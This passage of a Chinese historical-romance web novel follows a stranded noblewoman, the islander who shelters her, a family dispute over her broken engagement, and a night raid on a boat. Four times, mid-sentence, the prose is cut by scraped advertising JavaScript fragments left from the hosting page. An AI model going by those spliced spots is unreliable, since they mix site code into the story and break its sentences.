大抵是寇骞那逆来顺受的好脾气还没睡醒,仅一副生了反骨的躯壳在坚持同她作对,咬牙道:“你讲讲道理,先来后到。” “这椅子写你名了?” “那写你名了?” 崔竹喧轻笑一声,双指轻敲了敲椅身,“这是竹子做的,同我是本家,既没写你名,那论资排辈是与我亲近些,自然归我。” 她挑衅地望过去,对上个哑口无言的郁闷神色,愈发得意,好似争到的是什么至尊宝座,而非是一串铜板能买好几把的粗劣摇椅。 输家寇骞苦着一张脸腾出位置,长叹一口气。 地痞无赖他见得多了,用词这般文雅的厚脸皮他还是第一次见,硬生生把这强盗行径都衬得清新脱俗了些。 “行,那你歇着,某去收拾。” 崔竹喧慵懒地躺着,伴着竹片挤压时清浅的“嘎吱”声在夜风中轻轻摇晃,不时响起几声蛙鸣,倒也有几分在乡下庄子里避暑的野趣。而那人因被她匆匆赶起来,背后的头发没来得及捋顺,挨挤在一块,有几根甚至绕成了圈悬在中间,滑稽得很。 她忍不住想笑出声,又担心这人恼羞成怒,断了她的洗澡水,只能压平唇角,可目光总忍不住黏着他翘起发尾,一块儿行过檐下,眼见他要伸手推门,她忽地想起什么,面色一红,急道:“等等!不许进去!” “怎么,你还在澡盆里藏了什么宝贝不成?” 推门的手抱在身前,肩膀斜倚着墙面,寇骞好整以暇地等在原地,目光懒洋洋的,看着她着急忙慌地跑过来,挤进他与门之间的间隙,双手护住门框,梗着脖子道:“不许进就是不许进!你、你明早再来收拾。” 一扇破木门有什么好护着的,他若非要进,跳窗能进,掀瓦也能进,她只在这一处拦着有什么用——兴许是有用的,诸如此刻,他全然没了强闯进去的想法,只是贪看这人少有的羞色。 耳尖的绯红如红霞般晕开,染至双颊,比最上等的胭脂都要明艳好些,曾听闻有浪荡子爱吃女子唇上胭脂,那时只觉可笑,而今,他微微低眉,嗅到极浅的香,竟也心痒,有馋虫作祟。 “寇骞!” 他倏然挪开目光,半个身子都靠在墙上,“嗯,在呢。” “今夜没什么事了,你先回去吧。” “……行,小祖宗说了算。” 天仍下着雨,寇骞暂且不想在雨里洗头洗澡,便去拿挂在墙角的蓑衣斗笠,只是崔竹喧似是连这点时间都等不及了,将油纸伞塞进他手心,就将他赶了出去。 寇骞其实是不怎么爱撑伞的,毕竟这玩意儿实在不中用,雨小了拿着麻烦,雨大了又遮不严实,要是起风就更糟了,稍稍大些,伞骨就要被吹折,远比不得蓑衣方便。 但他眼下只有这个了。 一边撑着伞,一边还得避着风,也不知到底是谁在护着谁,若不耗这闲工夫,他早把路走完了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。可他要是不管不顾,敢明天拎着把破伞上门,定然要惹她不快。 世上怎么会有这么能折腾人的姑娘呢?他想。 停在檐下收伞时,他的动作一顿,旋转伞柄,借着屋内烛火的微光,瞧见了伞面多出来的墨迹,他凝眉打量过去,是一副画。 画上——竹子正踩着石头的脑袋,耀武扬威。 * 直到门闩落下,崔竹喧总算是松了一口气。 推开那扇刚被她严防死守过的门,吃力地从里头抱出一个木盆,里头乱七八糟团在一起的,正是她白日里穿的衣裳。 用瓢倒进水,再扔进皂角,而后提溜出来搭在屋后的竹竿上——她瞧见范娘子家就是这样晒衣服的。竹竿很长,右边是她刚刚晾上去的绿裙,左边是前两日洗的红衣,因着天公不作美,左右都是湿漉漉地垂在那,也不知要何时才能干透。 她倒想支使些人帮她,偏是身无分文,除了寇骞,大抵没人愿因她空口许诺的金银而任她差遣。至于寇骞,总不能让他…… 罢了罢了,区区几件衣裳,还能为难到她堂堂崔氏贵女不成? 昔日有西施浣纱,等回去,遣画师替她作几幅浣纱图,再雇几个文人写诗作赋,虞阳,乃至整个大邺就该传扬她崔女浣纱的美名了。 崔竹喧心情好极地入睡,连一长一短的床幔都不甚碍眼,在梦中一时风光无两,可惜睁眼只瞧见两面漏风——昨夜忘记关窗了。 是以,她是被自己的喷嚏闹醒的,所幸没有旁人撞见她这副糗样,只消梳洗一番,她便仍是那个端庄优雅的贵女。 “阿姐,我来啦!” 第一个上门的是阿鲤,手上提着一篮子的烙饼,照旧是从寇骞那领来的。 崔竹喧将人迎进来,却没急着走,目光在四下扫过一遍,空空如也,当即拧起眉,砰的一声将门合上。 呸,她就知道那人嘴里没一句真话,果真是狗嘴里吐不出象牙! 她拿起一张烙饼,恶狠狠地咬下去,仿佛唇齿咀嚼的不是面粉和咸菜,而是某个失信者的皮和肉,但要这样想的话,他的皮肉还挺香的,因为她又接连咬了两口下肚,甚至赶在阿鲤把剩下的烙饼啃光前,又扒拉了一张进自己碗里。 兴许那人是因为忙着烙饼,这才耽误了时辰呢? 念在饼的面子上,她也不是不可以宽宏大量地饶恕他问安迟到之事,只压着他多说几句好听话便罢。 可那人却像是存心同她作对,左等不来,右等也不来,甚至她已经教阿鲤写完一张大字,将人送出门了,他还不来。 崔竹喧气得牙痒痒,进堂屋推门时不用手,而是改用了右脚,在整个门框几要散架的巨大动静中,竟掺进了一点低笑,突兀至极。 她蹙眉望过去,摇椅上那个高架着腿,每根骨头都歪七扭八的人,不是寇骞那个泥腿子,又是谁? “谁惹小祖宗不高兴了?” 17. 017 非写不可 还能有谁? 崔竹喧恶狠狠地瞪过去一眼,恨不得把那个悠闲地躺在摇椅上的人垫到椅子腿下去,压成馎饦一样的扁皮子,下锅一气儿煮了。说什么来向她问安,结果就晓得在这躲清闲! 她一脚踩住底架,那人便跟着摇椅一并被桎梏在原地,“起来,不许坐!” 寇骞懒懒散散地瞟了她一眼,把架起的腿放下,不仅没有起身的意思,甚至整个人严丝合缝地贴合上椅身,“不起。” 这算什么?挑衅? 崔竹喧冷哼一声,欲要同他重新探讨一遍昨夜就已确定下来的摇椅所有权事宜,那人却端着一副死猪不怕开水烫的模样,摇头否认,“昨天是昨天,今天是今天。” 他伸出一只右手朝她勾了勾,引着她的目光落到扶手上,指尖轻点处,竟是几道刀刻的痕迹,分外潦草,她凝眉端详好一会儿,才看出那拙劣的小鸡吃米图拼出的是一个“寇”字。 “写了某的名字,可见这应当归某。” 崔竹喧对他这分外幼稚的行径深感不屑,可手已经先脑子一步展开行动,四指扳着扶手,用拇指的指甲在木头上乱划,企图将这凭据磨毁了去。 寇骞也不阻拦,歪着脑袋在旁候着,就见她的神情愈发得气愤,忙低眉用手虚虚地掩在鼻下,遮盖上扬的唇角,可微颤的肩膀到底将他出卖,是以,再抬头时,他对上了一双冒着火光的眸子。 这也不能怪他吧?他已经尽量忍住不笑了。 崔竹喧剜了他一眼,又盯向那该死的扶手,鬼画符般的“寇”倒是入木三分,至于她的指甲印,不管是规规矩矩的横线、竖线,还是歪歪扭扭胡划乱扣,都只留下个清浅的印子,若不寻个特定的角度,仔仔细细地去瞧,便连那点印子都见不着了。 这字毁不掉,那就只能另寻他法。 她轻咳两声,板起面孔,扬着下巴,把一时冲动的斗气收敛成深思熟虑的斗气,“这是字吗?我怎么没看出来?就是些乱七八糟的划痕,做不得数。” “怎么能因你不认得,就说这不是字,当说是你不识字才对。” “呸,你才不识字!” 崔竹喧不满地刺回去,忽而想起这白原洲连个正经的教书先生都没有,又望向那比起字更像画的刻痕,怒容藏进了一抹狡黠的笑,她翘着唇角,低眉凑得近些,“寇骞,你是不是和阿鲤一样,不会写字?” “……怎么可能?”寇骞梗着脖子地反驳道。 “那你写个我看看,反正隔壁屋就有现成的笔墨。” 寇骞顿时将梗着的脖子收了回去,缩头乌龟似的蜷在椅子里,气势一下子弱下去,“不写。” “不行,我要看,你现在就起来写字!” “不起,不写,你死了这条心吧!” 崔竹喧焉能受得了他这般忤逆,当即伸手要去扯他的袖口,却被他灵巧地躲了过去,他又将两手缠在一起,抱在身前,绝了她第二次出手的机会。 她恨恨地咬牙,索性两手一块儿去扳他的小臂,一边生拉硬拽,一边在脑子里胡思乱想,定是因为这人每天除了吃就是躺,所以才沉得跟头驴一样,连脾性都相差无几,不然为什么不顺从地按她说的做。 深吸一口气,闭紧牙关,猛地往外一拽,终见这头倔驴略有松动,她忙乘胜追击继续使劲儿,一时未顾及脚下,遭木架子一绊,眼看着就要栽下去,先前百般拽不动的手,这会儿却主动把她往里拉。 即使如此,她还是栽下去了,只是不是往后,而是向前。 温香软玉一下子撞进怀里,纤薄的衣料紧贴着,不似先前有夜风吹散,有冷雨浇透,属于另一个人的体温无比明晰地渗透过来,寇骞不由得僵了一瞬,偏头想要避开她身上惑人的香,却不想,她也于此刻动了。 于是,他的唇蹭过她的耳尖,构成了一个不能算吻的、极清浅的吻。 好软,想—— 他倏忽醒过神,逃也似的躲至最远,只是喉结滚动,声音发紧,“……起来。” 不用他催,崔竹喧也是要起的,只是这儿不比旁的地方,手腕一撑便能起身,她手上一用劲,反倒是推得椅子再度摇晃起来,连带着她一头砸进他的颈窝。 柔软的发丝蔓延上他脖颈的皮肉,每一丝每一缕都同它的主人一样爱折腾人,勾缠出若有若无的痒意,他的声音压得更低了些,“起来。” “我在起来了!” 崔竹喧磕磕绊绊地在晃悠的摇椅上腾挪,好不容易从狼狈地趴着挣扎成跨坐在他腰间,只消再往后退些,便能起身,寇骞正要松一口气,她却忽然改了主意,两手搭上他的肩膀。 她恶狠狠地逼问道:“写不写字?” “……你先起来。” “不行,你不听我的,我凭什么要听你的?” 寇骞一手扶上额头,长叹一口气,咬牙道:“写,写到小祖宗满意为止,行了吧?” “这椅子?” “归你。” “问安?” “……小祖宗安好。” 崔竹喧有些讶然地看着面前出奇好说话的人,突然明悟,这是个欺软怕硬的泥腿子,只要压着他狠狠威胁一番,他便什么都会应了。 “起来吧,好不好?” 行吧,看在他眼下还算乖觉的份上。 她从摇椅上翻下来,得意洋洋地在前头领路,后头跟着她的手下败将寇骞。 隔壁屋的笔墨纸砚都是现成的,她只消将他往凳子上一摁,再把笔杆往他手心里一塞,便可立在旁边筹措奚落用的词句,等他提笔落墨,就能第一时间狠狠嘲笑他。 想到这人即将吃瘪,崔竹喧便要压不住唇角的笑了,偏他还在磨磨蹭蹭,别扭地开口:“非写不可?” 她板着脸催促:“非写不可。” 寇骞抓了把头发,深吸一口气,咬牙切齿地落笔,不过是写两个字罢了,倒使出了视死如归的架势。 崔竹喧首先看向他拿笔的右手,姿势倒是没错,只是被他宽大粗粝的手一衬,那普普通通的笔杆子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 竟显得小巧精致起来,目光随着他手腕的动作往下,落在纤长的笔尖,而后在纸上拖出野蛮的墨迹。 起笔收笔一塌糊涂,行笔更是随心所欲,与其说是写字,不如说是画字,当然,画功也让人一言难尽,非要形容的话,大概是玉盘和大饼都是圆形的相似程度。 他似是豁出去了,硬着头皮将名字一气呵成地写出来,撂下笔,焉了吧唧地坐在那,“喏,某只有这种水平,笑吧。” 崔竹喧动了动唇,瞧见他那副可怜模样,莫名生出几分不忍来,于是将那个几欲脱口的“丑”字咽了回去,转而问道:“你是自学的?” “算是吧,做散工时跟着旁人瞎比划了点,方便记账。” “那、那你也算是勤勉。” 寇骞讶然地抬起头,神色古怪地开口:“这是在,夸某?” 崔竹喧当即变了脸色,冷哼一声,“是在骂你,不识好歹!” 被骂的人不仅不生气,反而扬起了唇角,歪着身子凑到她旁边,讨好道:“某读书少,小祖宗原谅某这一回?” 她勉为其难地瞥他一眼,惜字如金,只矜贵地点下头。 “多谢小祖宗!”他将那张被糟蹋的纸拎起来,正欲寻个没人处毁尸灭迹,却被崔竹喧忽然叫停。 “等等!” 寇骞转头看过来,不明所以。 她其实也有几分后悔这般贸贸然开口,可又怕他因没文化哪日被别人嘲笑了去,到底相处了这么好些天,不忍放任他受欺负,反正教一个是教,教两个也是教,她也没什么要事在身,干脆教他写写字。 这般说服过自己,她把纸重新铺平,用杯子压着边角,咬唇道:“我教你。” 她让他重新执起笔,自己则将手覆盖上他的手背,带着他蘸墨、舔笔,而后从最简单的横画开始,逆锋起笔,中锋行笔,回锋收笔。 “凡下笔须使笔毫平铺纸上,乃四面圆足。” 她教得认真,他学得却有些出神。 毛竹、臭墨、糙黄纸,哪一样能比过她莹白如玉的手,比起研究怎么让墨汁涂抹出的轮廓变得规整,他更想用目光一遍遍重复数过她的指节,又或者不用目光,改用旁的。但,这想法不合时宜得紧,是故,他只能垂下眼睫,心猿意马地学字。 崔竹喧分出一点余光瞧他,没觉出什么异样,只觉得他如今的模样乖巧伶俐,比寻常总同她作对的时候顺眼得多,也就乐得多教他会儿。 撇下刚刚那道孤伶伶的横不管,直接揠苗助长,一步到位,拖拽着他写起名字来。 可恨这人不叫丁一,不叫王二,偏偏要叫个笔画加起来多达二十四画的寇骞,她还是第一次这般教人写字,半桶水晃荡的水准,单个的笔画还能勉强入眼,碰上这么复杂的字,就成了数条胖毛毛虫歪歪扭扭地挤在一起,同他自己写的相比,丑得不遑多让。 崔竹喧面色发红,呵斥道:“不许笑!” 寇骞顺从地点头,压平翘起的唇角。 “好,不笑。” 18. 018 心悦臣服 崔竹喧虽没能同蓝青溪一样,给自己吹嘘出个第一才女的美名,但这也并不代表,她心甘情愿担个不学无术的骂名,更何况,她真真切切是有些真才实学的。 是以,她从多个角度、不同层面,引经据典地将笔墨纸砚挨个贬得一无是处,论述其对她发挥的阻碍,骂过桌子,怨过凳子,连路过的蚂蚁都要平白遭一顿数落,最后,她横眉竖眼地看向寇骞,“都是你的手太重了,这才把我带偏的!” 寇骞闻言,诚恳道歉,“嗯,是某的错。” 饶是如此,她仍不肯轻易罢休,将他赶起来,自己坐下去,说什么也要证明自己的字最是清雅灵秀,行云流水。 她先是用最习惯的簪花小楷写了一遍,弗一停笔,就急匆匆地望向他,后者自然不负期待地赞叹道:“好看!” 她又换一种字体继续写,每写完一遍,就要停下来等他夸奖,像是在对他献宝一般,待到他终于夸至词穷时,她的笔尖也已到了纸张的边缘,墨色落满了纸面,密密麻麻,都是“寇骞”。 “方才那只是一点小意外,”崔竹喧再度重申,而后扬着下巴,“我是不是很厉害?” 哦,这是单个的夸奖完了,还需要总结的夸奖。 寇骞不由觉得好笑,却不敢扫了她的兴致,面上摆出副正经的神色,将那些形状各异的“寇骞”挨个欣赏一遍,而后拱手作揖。 “小祖宗厉害,让某心悦臣服!” 崔竹喧那总是上向扬的眉尾,终是连同眼睛一起,弯成了月牙的形状,盈满了欢喜,毫不客气地收下了这份阿谀奉承,她又朝他勾了勾手,将他的目光再度引到纸面,骄矜地开口:“你喜欢哪个?我教你!” 寇骞一副虚心求教的模样,“你觉得某应该练哪个?” “听我的?” “嗯,你说了算。” 于是她再低头时,就开始挑拣起这些字的不好了。 “这个太纤弱,这个太笨拙,这个不够灵动,这个……” 其实哪个都好,他都喜欢,不只是字,还有…… * 一辆藻饰华丽的马车缓缓停下,后头的两列侍从站得笔直,个个腰间悬着长刀,若非身上穿的衣裳与官兵的差服相距甚远,这打眼一望,几乎要叫人以为是这蓝府要被查抄了。 这般阵仗,甭管是过路的还是卖货的,都无心关注脚下,只把一双招子往人堆里钻,三三两两凑到一起,交头接耳起来。 实在这队人马打眼,盘踞了半条街,却安静得出奇,从主人到下人没一个出声,唯独拉车的马儿耐不住性子,抻着脖子四处张望。 “不知是哪位大人驾到,有失远迎!” 正值午时,向来少有不懂规矩的人这般时辰上门,守门的老头也就乐得跟富家翁似的在软榻上午睡,谁料到竟来了这么一出,什么瞌睡虫也被惊跑了,他急匆匆地跑出来,拱手作揖,这才低眉瞧见自己向左偏了小半圈的腰带。 坐在车架上的青年人扫过他一眼,神色倨傲,“虞阳,崔氏。” 虞阳崔氏与琅琊蓝氏同为当今世家之首,向来交好,又是姻亲,偏生出了那档子事,眼看这副来势汹汹的模样,多半是兴师问罪来的,哪还敢提什么拜不拜贴?门房心里叫苦,却只能笑脸相迎,“小的这便差人去通禀,大人不妨移步入内稍等片刻。” “蓝青溪呢?”织金的锦帘被一柄玉扇挑起,传出道冷淡的声音,“叫他出来迎我。” “这、这……公子他近日身体不适,不能见风。” “自明,去,将我那件雁翎氅衣取出来,给蓝青溪送去,莫叫这‘身娇体弱’的蓝公子在这七月的艳阳天,因走了区区几步路染上风寒。” 青年应了声,手一撑便从车架上翻下来,捧出一个锦盒,大摇大摆地迈上府前的台阶,将将跨过门槛时,朝边上一扫,“来个人领路。” 门口立着的几个奴仆面面相觑,终是用眼神推举出一位,低眉领着他入内。 崔氏此举,着实与客气沾不上边,但没得上头发话,底下人也不敢轻举妄动,气氛一时凝重,僵持不下。 门房立在那,进也不是,退也不是,额上被晒得滚出大颗的汗珠,砸进眼睫,渗进眼睛,搅得双目火辣辣地疼,他却只把嘴角向外咧着,不敢妄动半分。 只是难免在心里腹诽,这崔氏怎么个个都是这种恨不得捅破天的脾气,上回那个来退婚的是这样,今日这个也是这样,可怜他家那好脾气的公子,要被这般来回搓磨。 一刻钟后,一群持青绫步障的奴仆鱼贯而出,把崔氏一行人连带蓝府府门围在圈内,将路人打量的目光尽数遮掩后,身披氅衣,眼覆锦缎的蓝青溪被仆从搀扶着引至马车前,“崔兄远道而来,于情于理,青溪自当亲迎。” 崔淮卿于马车内居高临下地看过去,目光触及他遮目的锦缎时,眉心一蹙,直到瞧见那件雁翎氅衣,面色稍霁,对他这恭顺的态度尚算满意。 于是方才的剑拔弩张倏然消解,崔淮卿朗声一笑,“青溪真是太多礼了,你我之间,何必如此拘谨?” 蓝青溪温声应道:“正因如此,更是礼不可废。” 两人相携入府,待步障清撤之时,那雕花木门已然合拢,一片肃静,好似那场闹剧从未发生。 堂中设了桌案,以缭绫铺地,寒冰琢景,丝竹之声靡靡,舞姬水袖翩跹。 无甚新意。 崔淮卿漫不经心地饮着茶水,同蓝青溪假装热络地寒暄几句,大抵关于天气、荷花与七月的新酒,在不相及的事物中随口攀扯,直至舞乐声戛然而止,闲杂的仆从纷纷撤下,他这才放下杯盏,望向缓缓走到首位落座的蓝氏家主蓝敬。 “闲话说得差不多了,既然蓝家主也在,那晚辈就说说正事了,”他面上笑得热切,语调却愈发冷硬,“蓝公子痼疾缠身,不宜大婚,蓝氏为何不提前相告?” 蓝敬面色淡然,“贤侄言重了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,不过是些小毛病,不会影响大婚的。” “是么?”崔淮卿冷笑一声,转而看向蓝青溪,“你何日痊愈?” “十月前。” “确定?” 蓝青溪点头,“确定。” 崔淮卿面色稍稍和缓,只是话语间机锋依旧,“但舍妹已然将信物及庚帖退回,不知蓝氏预备如何处理,于公还是于私?” 蓝敬笑呵呵地回答:“崔女公子年纪尚小,与青溪玩闹罢了,蓝氏与崔氏这桩婚约可是订了有十多年,怎好轻废?” 崔淮卿低眉拨弄着杯盏里的茶叶,显然不愿这般被轻飘飘地揭过,“约可订,就可废,这世上哪有什么一成不变之事?” 蓝敬面上的笑意有片刻凝滞,眉心微蹙,正要说话,蓝青溪却突然起身。 “崔、蓝两家世代交好,岂能因青溪之行事不周而生了嫌隙?既是青溪开罪了崔女公子,自当由青溪去赔礼道歉。”他两手作揖,向崔淮卿行了一礼,“青溪日前托匠人以翡翠为棋子,白玉做棋盘,打造了一副翠玉玲珑棋,献予崔女公子解闷,不知能否换她展眉一笑?” 崔淮卿微微挑眉,将茶盏放下,意味深长道:“礼不错,就是诚意少了些。” “崔兄的意思是?” “既是赔礼道歉,假手于人总归是差了几分,”崔淮卿手腕一动,山水扇面的折扇展开,掩住半副笑脸,“不如,亲自登门。” * 今日是晴? 大抵是连日的阴云密布,叫人习惯了到处都是一片灰蒙,陡然间从窗棂缝隙闯入一缕阳光,便觉灿烂得晃眼,只这么一照,崔竹喧便被闹醒了。 她起身将窗子一推,果然见东边挂着一轮圆圆的日,红红的,小小的,像是刚烹熟的鸡蛋黄——阿树做的不行,得是寇骞做的那种。 正纠结着要不要让寇骞给她现煮一个,忽然意识到,既然雨停了,那是不是说明,她可以渡河回家了? 虽然寇骞的船被她弄丢了,但渡口不是还拴着那么多条呢,随意借一条来,等她顺利归家,便是给把整个白原洲的船只都换成新的,也不过就是随口一句话的事。 崔竹喧匆匆洗漱一番,就要准备收拾东西,同寇骞一起上路,只是迈进堂屋,却瞧见了一只篮子,眼熟得很,是平日里给她送吃食的那个。 他今天来过了? 她在他竟不叩门就偷偷入内的愤怒,与他是如何在门上锁的情况下入内的好奇中犹豫一瞬,选择将篮子上盖着的棉布掀开,里头是一碗馎饦,她伸手碰了碰碗身,已经凉了。 难道是半夜送来的?给她当宵夜? 崔竹喧正蹙着眉,瞥见碗底压着一张纸条,揪出来展开,是一堆与好看不沾边的字,应来自寇骞无疑。 “打渔去,有事寻范娘子。” 正事只这一句,后头则重复抄写着“小祖宗安好”,她数了数,一共六遍。 所以,要出去三天? 19. 019 江心水鬼 今日是难得的风平浪静,尤其是对于他们这种汛期行船的人来说。 要不是送去胥江的那批货出了问题,买方又催得急,他们也不会冒着风险如此行事,落得几日几夜没得安歇,好不容易盼至雨停,一个个也不需布衾软枕,挨着块平坦的木板就能打起震天响的呼噜。 船外江水汤汤,船内呼噜成串,剩下零星几个守夜的船员也是歪歪斜斜地倚着桅杆,眼皮子耷拉着,任由瞌睡虫绕着自己的脑瓜子嗡嗡地飞。 但到底有最后一根弦吊着,每当意识支持不住,整个头垂下,连带着烂泥般的身子往下栽倒时,便会因心心念念的月钱而猛然惊醒,搓搓面皮,咽咽口水,便能再熬个一时半刻,如此往复,天边便不是一成不变的漆黑了。 亮起的一抹鱼肚白,让四野由黑变灰,连绵的山岭由此显露出一个个朦胧不清的轮廓,好似环伺而来的饿狼凶兽,想要将这艘船吞吃入腹。 偏于此刻,在群兽与猎物中,陡然冒出一个娇娇小小的身影,在水浪中漂浮着,伴着隐隐约约的人声,像是哭,像是笑,又像是,在朝他说话,在唤他名讳。 正是江心处,莫非,是闹了水鬼? 艄公扶着船舷往外望,眼睛每眨一次,那模糊的身影便漂近好些,一颗心在胸腔里砰砰直跳,他屏着呼吸轻步窜到另一个守夜人旁边,捂住那人口鼻,带着一双惊慌恼怒的眼睛再度望去。 可所见不过是起起伏伏的水浪。 难道是他睡迷糊了? 被他打搅的那个倒霉蛋怒气冲冲地将他的手拽下来,没好气儿道:“天都快亮了,你还做梦呢?” “可、可刚刚真的有……” “有你个大头鬼!做多少亏心事儿啊,怕成这样!”那人深感不屑,啐道,“怂包软蛋一个,吹吹风,醒醒神等着交班吧!” 艄公精神恍惚地回了原位,看看江面,又看看自己的手心,仍是不解,再度抬头时,脖颈间却探上了一片纤薄的刀刃,他艰难地用余光向后瞟去,果然是个娇娇小小、才到他半截脊背的身影。 是个小鬼,他想,凄厉的叫喊声方涌上喉头,戛然而止,他惊惧的眸中又倒映出数道细长的、飘忽的黑影,终于明悟。 小鬼,还带来了一群大鬼。 * 奇怪,太奇怪了! 崔竹喧端着碗坐在摇椅上,吃一勺馎饦要往外张望三四眼,待馎饦见了底,日已爬上中天,巳时都快过了,阿鲤还没有来,难不成寇骞去打渔,还要把阿鲤带上拎鱼篓吗? 她把碗搁在桌案上,所幸这么些天,她已然学会了些梳发的技巧,当然,她以往的那些复杂发式还是弄不成,勉强将头发编成整条的辫子,见人时不失礼就好。 她从屋里走到院内,又从院内走回屋里。 如此往复,景致没能赏到,只得出一个结论,这儿实在小得可怜,外头的门和里头的门相距远不到百步,前些日子下雨惫懒时还不觉,今日放晴,便觉拘在着方寸之地无所事事,委实闷得慌。 不若出去走走。 只是门刚被拉开条缝,就见个年岁同她差不多的女郎,举着的右手虚握成拳,应是正准备敲门,乍然瞧见她,面上现出几分惊讶,但很快又变成了热络的笑。 “你就是崔娘子吧,我是范云,你的衣裳还是我帮忙裁的呢!” 崔竹喧警惕的目光微敛,攥着门板的指节未松,“寇骞不在家,你过几日再来找他吧。” 范云闻言愣了一下,随即笑出了声,“今日雨停,我自然知道他不在家,我是来寻你的,你一人待在家里无聊,不如去我那坐坐,他们出去一趟,少说有个三四天,每日饭点,只管去我们家吃就好。” 想到寇骞留在纸上的话,范娘子可信,那范云应当也可信,崔竹喧这才松了手,将门彻底敞开,“是寇骞提前跟你们说过了?” “以往救了人上来,都是搭在我们家吃的,哪还要特地过来说?” 既是如此,推托便显得她扭捏了,索性大大方方应下来。 崔竹喧把檐下的油纸伞撑开,随着范云出门,离开时,特意将院门仔细瞧了一遍,门前两块青石板,右边一棵柿子树,免得回来时又落入上次那种窘境。 范云娘同她并肩走着,忽又钻进她的伞下,只没过几个呼吸,她又重新蹿了出去,“外面的女郎都像你这般,晴日也要撑伞吗?” 还未待崔竹喧应声,她便自顾自地往下说:“难怪你生得这般白嫩,我跟你比,就同鱼肉跟鱼皮似的。” “胡说什么?”崔竹喧扑哧一声笑出来,“要说像鱼皮,那也是寇骞,皮糙肉厚的!” 这般一路说笑着,走过零散的房屋,崔竹喧四下张望记着回去的路线,却在门缝间撞见了一双发红的眼,心中咯噔一下,匆忙扭过头,也顾不得太阳的朝向了,只把伞面冲着门的方向往下压,将那不怀好意的目光连带那扇门一并掩去。 “怎么了?”范云茫然地问。 “那边,有个酒鬼。” 崔竹喧尚且记得上回撞见的那张脸,满脸横肉,胡子拉碴,浑身上下散发脏污的酸馊与隔夜的酒臭,只是一照面,便恶得叫人反胃,她可不想同这种流氓有任何牵扯。 范云小心地将目光从伞沿探出去,未能瞧见人,但那间屋子她是认得的,是以,索回来的一张脸顿时皱巴成了苦瓜,“是得离他远些,不是什么好东西!” “他原是跟着寇郎君做事的,但成日喝酒躲懒,只有分钱分粮时最是积极,这样的懒汉,谁受得了?寇郎君不要他跟着后,他也不知道反省,就靠着往日的积蓄混日子——最近好像是钱花得差不多了,到处蹭饭吃呢,跟块狗皮膏药似的!” 崔竹喧认同地点头,就没有哪个正经人会在白日里喝得醉醺醺的,不思进取,像寇骞就勤快得多,烧火做饭、刷锅洗碗,出去得做竹筏,回来得写大字,晚上还要帮她烧洗澡水……这般 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 算算,是有些忙了,难怪上回能在摇椅上睡着……她莫名生出了一点心虚,不然,给他加些工钱? “总之,你瞧见他便躲远些,要是他嘴臭,也先忍着,等寇郎君回来,他便不敢了。” “他很怕寇骞?” 范云信誓旦旦道:“整个白原洲都听寇郎君的,他自然也不例外。” 崔竹喧不由得蹙眉,这做派,怎么跟流匪似的,总不能因着寇骞姓寇,便占地当个土皇帝吧?可转念再想,哪个土皇帝事事要自己动手的,甚至黑灯瞎火地给她做馎饦,应当是她多疑。 她又问:“寇骞每次去打渔都是半夜出发吗?” “……打渔?”范云面上的笑僵了一瞬,忽而快走几步,伸手指向前头那处篱笆,扬声道,“到了!” 一进院门,便瞧见坐在檐下侍弄针线的范娘子,看见她来,当即热情地朝她招手,“来得正好,我正发愁这衣裙上要绣个什么纹样呢,到底是贵料子,可得让你选个合心意的。” 崔竹喧低眉翻了翻篮子里的绣样,除了鸳鸯戏水便是比翼双飞,她一件常服,哪用得上这些,偏范娘子还在颇为自得地吹嘘着:“我手底下可做出过三四件嫁衣,穿在新娘子身上服服帖帖的,整个白原洲,哪个看了不说好?” “刺绣耗时长,绣些简单的纹样就好,我急着穿呢。” 范娘子唉声叹气地住了口,重新穿针引线去了,这副吃瘪模样引得范云在旁捂嘴偷笑,可还没乐多久呢,便挨了一记眼刀,范云只好拉着崔竹喧的袖子将她带进屋子,合上门,这才重新笑嘻嘻地开口: “你别管她,我娘成日最爱撮合人成亲了,见一个说一个,连寇郎君都三天两头要遭她念叨,恨不得屋前的蚂蚁都是成双成对地爬,烦得很!” 也不管她有没有应声,范云就像打开了话匣子一般,倒豆子似的往下说:“她那样上下嘴皮子一碰,男男女女就能看对眼不成,她要真有那本事,怎不先给自己寻个下家呢?” 崔竹喧对成亲倒是没什么抵触,于她而言,不过是换个地方住,要是住得不顺心,再搬回家也是一样,总归除了皇家面前要稍稍收敛,旁的人还不是得对她唯命是从。 “你很不想成亲?” “这白原洲来来去去就这么点人,同我年岁相当的更是一只手数得过来,我吃个蛤蜊还得挑挑拣拣寻个壳张得最开,肉最多的,没道理轮到嫁男人,反倒不能挑拣。” 崔竹喧认同地点头,毕竟她自己便是把相看范围从虞阳扩大到了整个大邺,“既然白原洲,没有合眼的,为什么不出去相看?” 范云一时语塞,眼神闪躲,支吾出声:“我、我不能出去的……” “为什么?” “这、这一时半会儿也说不清,”范云目光四下飘忽不定,扫过篮子中的针线时,眼眸一亮,好似终于寻到了救星,急忙从里头抓了方空白的帕子塞进她手里,转移话题,“咱们还是绣帕子吧!” 20. 020 拦河截道 刺绣是个危险活儿,起码比下棋要危险得多,一不留神就会在手上扎出个血窟窿来,是以,崔竹喧对此向来是敬而远之,但待在这儿地方,也实在没有别的能干,她犹豫一下,到底决定跟着绣帕子以打发时间。 只是范云那头飞针走线宛若行云流水,崔竹喧这头还在针线篓里挑挑拣拣,两条秀眉紧蹙着,“怎么没有护指啊?” 范云动作一顿,“……那是什么?” “就是,套在手指上,防止被针扎的小玩意儿。” 范云恍然大悟,“有,等着!” 她风风火火地走进里屋,从里头翻出一个小布包递过来,拆开一看,里头尽是些木片配细绳的奇怪东西,她拿起个,示范着绑在自己右手中指指腹上,“这个是顶针,作用和你说的那个护指一样,你戴戴看?” 崔竹喧低眉审视,灰褐色的木片与暗黄色的细绳,实在同好看沾不上边,她还想着,没有鎏金护指,用银护指或是填满棉花的护指将就一下,却没料到会见到这么粗陋的东西。 话虽如此,那木片摸着倒还算结实,不会轻易被针扎穿,是以,她也跟着在中指上套了一个,而后在食指、无名指和小指也小心绑上,如此,仍觉得不够心安,又将左手的手指也挨个武装起来,这才别别扭扭地去拿针线。 